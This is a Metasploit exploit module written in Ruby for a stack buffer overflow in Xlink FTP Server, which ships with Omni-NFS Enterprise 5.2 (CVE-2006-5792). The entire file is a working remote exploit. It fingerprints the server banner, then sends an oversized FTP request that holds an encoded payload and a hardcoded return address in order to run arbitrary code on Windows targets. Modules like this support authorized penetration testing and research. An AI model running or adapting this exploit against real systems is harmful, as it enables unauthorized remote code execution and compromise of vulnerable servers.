Xlink FTP Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Xlink FTP Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Xlink FTP Server  
that comes bundled with Omni-NFS Enterprise 5.2.  
When a overly long FTP request is sent to the server,  
arbitrary code may be executed.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-5792' ],  
[ 'OSVDB', '58646' ],  
[ 'URL', 'http://www.metasploit.com/' ],  
[ 'URL', 'http://www.xlink.com' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 260,  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1  
],  
'DisclosureDate' => 'Oct 3 2009',  
'DefaultTarget' => 0))  
  
deregister_options('FTPUSER', 'FTPPASS')  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /XLINK FTP Server/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
connect  
  
sploit = payload.encoded + [target.ret].pack('V')  
sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"  
  
print_status("Trying target #{target.name}...")  
sock.put(sploit)  
  
handler  
disconnect  
  
end  
  
end  
`